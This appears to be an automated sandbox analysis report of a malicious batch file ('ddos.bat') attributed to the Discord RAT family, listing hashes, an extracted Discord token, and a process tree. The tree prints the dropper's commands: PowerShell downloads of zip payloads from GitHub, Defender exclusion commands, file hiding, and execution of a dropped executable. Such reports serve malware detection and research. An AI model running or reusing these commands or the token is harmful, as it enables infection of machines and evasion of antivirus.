Resubmissions

23-10-2024 16:29

241023-tzm28asakn 10

21-10-2024 19:30

241021-x7rl6asbqa 10

Analysis

  • max time kernel
    1677s
  • max time network
    1151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-10-2024 16:29

General

  • Target

    ddos.bat

  • Size

    1KB

  • MD5

    15ee8aecfc89d8bed8f362cb46e4b8bb

  • SHA1

    c39b884897d73006daa07d29264670d181835624

  • SHA256

    7af1c25851ef3f66cbca82540d35470de8a364a469d00a013891bd211f56e082

  • SHA512

    553a78c7e82669145767747c287244c2e253a938f7379feaf71425e5f4eeedc612157f812d7d723c3edc57d6f534f152714f173e3b10e55331b16b8f741a3b66

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTI5Njg5NDEwMjY0NTkwMzQwMA.GffxcT.wWuk4gdi5T-RNzCLfFQ4XgAEMO4ZjpXcRu5E5Y

  • server_id

    1293738586679672945

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ddos.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1144
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -window hidden -command ""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1596
    • C:\Windows\system32\cacls.exe
      "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
      2⤵
        PID:3028
      • C:\Windows\system32\attrib.exe
        attrib +h "Anon" /s /d
        2⤵
        • Views/modifies file attributes
        PID:740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command "Invoke-Webrequest 'https://github.com/bonsko216/1/raw/refs/heads/main/1.zip' -OutFile 1.zip"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3112
      • C:\Windows\system32\tar.exe
        tar -xf 1.zip
        2⤵
          PID:428
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Anon\1.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2656
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -window hidden -command ""
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3808
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2596
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:412
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Anon\2.bat"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2188
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -window hidden -command ""
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2668
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              Powershell -Command "Invoke-Webrequest 'https://github.com/bonsko216/1/raw/refs/heads/main/Discord.zip' -OutFile Discord.zip"
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2880
            • C:\Windows\system32\tar.exe
              tar -xf Discord.zip
              4⤵
                PID:2960
              • C:\Users\Admin\AppData\Local\Anon\Discord.exe
                Discord.exe
                4⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2016
              • C:\Windows\system32\attrib.exe
                attrib +h "C:\Users\Admin\AppData\Local\Anon\Discord.exe" /s /d
                4⤵
                • Views/modifies file attributes
                PID:5088

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Anon\1.bat

          Filesize

          268B

          MD5

          cdb8a5fcca6c6b2ac156c95610dd62b0

          SHA1

          fc9143fbdfc511193d627682d03da517ef03eac0

          SHA256

          c99e311f09fdc9a371c67971575f59962dc1d5bb02afdcff72d74d0b3ede34df

          SHA512

          b1eded36047153fe99fb8fe4e29667d6aefe3431d1de1669f364fa185584bf6fbfff5cd7f10bc7a56f9f055e350276ac4219e737836873b5c542927c317814f9

        • C:\Users\Admin\AppData\Local\Anon\1.zip

          Filesize

          661B

          MD5

          15af212f6b388a57510af30146ea51f8

          SHA1

          9833f92d882d8e69bd453bdb2f3feda15d961c0f

          SHA256

          62b1f7ab4fcf8a68f31afd384c8d1f1d46124991e1d5d19ea04eece62a63a897

          SHA512

          90614fcb1c43df3d46c5d76bfcb777f9a276507e9a6a6a59d5e248e9de04b681656b5417e84758a78848580ca252c1ab07509102c924d2c67a42f419f294ea05

        • C:\Users\Admin\AppData\Local\Anon\2.bat

          Filesize

          327B

          MD5

          9cbac74f137243a22af973eacd90de31

          SHA1

          3260ea401134322fe037a35b685c66a0793c3658

          SHA256

          567296eeadb0e5463e11abc4f05b6617d72944a382d0202cb0cc6954d2a17465

          SHA512

          e729d873c6fd9af96092831ad7efc1fb5deca094fd48a4cc3874ce0c7a6814f97bb7c737393d1755b495dfd91791206d7ba6f8c8d51150ccf698f49627a23e60

        • C:\Users\Admin\AppData\Local\Anon\Discord.exe

          Filesize

          51KB

          MD5

          85f1a70f2760fc2b1c9dd2e11d178548

          SHA1

          c92415eb189ebb19efa29a1be6eeea7421d2eabc

          SHA256

          9c3a2642864d1680716134111aa3ce37cf1f99829a4d8301b4972230358389ec

          SHA512

          f5a8e36d502992f733dd5473d6146bd0a1b3f17a7377b62f2f628318cccf9cec236ea6bac268d9a4377ea12cd4d984f4b59553d4c5de2481bcb710f20d5a2aef

        • C:\Users\Admin\AppData\Local\Anon\Discord.zip

          Filesize

          45KB

          MD5

          6c33dba78cdd4a159b34c812616bfa6a

          SHA1

          8e486a8492e7b782762c08765572da921435a759

          SHA256

          0c92eb7b8f6dcf63ee71137c8f3908382e4d4010e2d3a55b4b8036e86260f47a

          SHA512

          afe6084e6f50fe26796083a293bd79a82c06d42880657c5e9055bb52677d43cbe12a63134c2dae0259c1f6f6f70bd6ea3237f3cd3665f6e0d3118ff70c225581

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          50a8221b93fbd2628ac460dd408a9fc1

          SHA1

          7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

          SHA256

          46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

          SHA512

          27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          1dffbab5ecc6d06e8b259ad505a0dc2a

          SHA1

          0938ec61e4af55d7ee9d12708fdc55c72ccb090c

          SHA256

          a9d2e6d35c5e9b94326042c6f2fe7ef381f25a0c02b8a559fc1ee888ccffb18e

          SHA512

          93209a16400574416f6f992c2d403acc399179fc911818c4967c9a0211924486878578d1c98ba3bc9e269012603c96ab118a291bf53c57d8af9ab48f9e7b9b76

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          5cbe3a0a17b04ba77056b67c58d61799

          SHA1

          48f02445cc4d7e81f443a518476112ee6260fe04

          SHA256

          061bd1792b76653ea413c300df4751262146c1011ceb334a08e06cd29f8487ba

          SHA512

          41cee31b5f9deae99fb3024ba94fa2b064766b7d01cd07de103db9e0462a168ac7ebe6e6331d0d5ef4c4f44b69d56df1702de2849138563555f97a415aa25847

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          96ff1ee586a153b4e7ce8661cabc0442

          SHA1

          140d4ff1840cb40601489f3826954386af612136

          SHA256

          0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

          SHA512

          3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          c379be8f6ce687f5a2c8dac5a9b3b3ac

          SHA1

          c0572a1f0a028c85ee3d3ea87e1528266bb30df6

          SHA256

          331e39665e058e6b7009277e4a1df1501f337f1d4d3490cc23f3f26dc7b2c832

          SHA512

          342bb54c99b0d02792747e4a7eb408fa444d0045fafac0292e9524526351a50073b0cd18d9e3f2860698dc9e00e9acf5bcd220c1e8dfa57652fb2d230940bb74

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          0daaa4b7703b4fb87bea729ac852fc43

          SHA1

          30b32a58bd7b46b98dfd325d2012c59e38cfee31

          SHA256

          68c7e73641893801fd9d57aafc68c73f89175b6a360193bb16092c19b1478c4d

          SHA512

          1916546231c4bf8fcaa272efea61cc61f24f6e2f64e036dd9425bcf06df2d645e6375a0e1029d9d6a170c1a1d331fc3a18ffae2da965f12074b3b0e3ebed3159

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fvdcknf5.wgx.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1596-1-0x00000274E4890000-0x00000274E48B2000-memory.dmp

          Filesize

          136KB

        • memory/1596-0-0x00007FF81EA33000-0x00007FF81EA35000-memory.dmp

          Filesize

          8KB

        • memory/1596-15-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

          Filesize

          10.8MB

        • memory/1596-12-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

          Filesize

          10.8MB

        • memory/1596-11-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

          Filesize

          10.8MB

        • memory/2016-100-0x000001A432AB0000-0x000001A432AC2000-memory.dmp

          Filesize

          72KB

        • memory/2016-101-0x000001A432E70000-0x000001A432E88000-memory.dmp

          Filesize

          96KB

        • memory/2016-102-0x000001A44D400000-0x000001A44D5C2000-memory.dmp

          Filesize

          1.8MB

        • memory/2016-103-0x000001A44DB00000-0x000001A44E028000-memory.dmp

          Filesize

          5.2MB

        • memory/2880-94-0x000001E8ED300000-0x000001E8ED51C000-memory.dmp

          Filesize

          2.1MB

        • memory/3112-28-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

          Filesize

          10.8MB

        • memory/3112-29-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

          Filesize

          10.8MB

        • memory/3112-17-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

          Filesize

          10.8MB

        • memory/3112-32-0x00007FF81EA30000-0x00007FF81F4F1000-memory.dmp

          Filesize

          10.8MB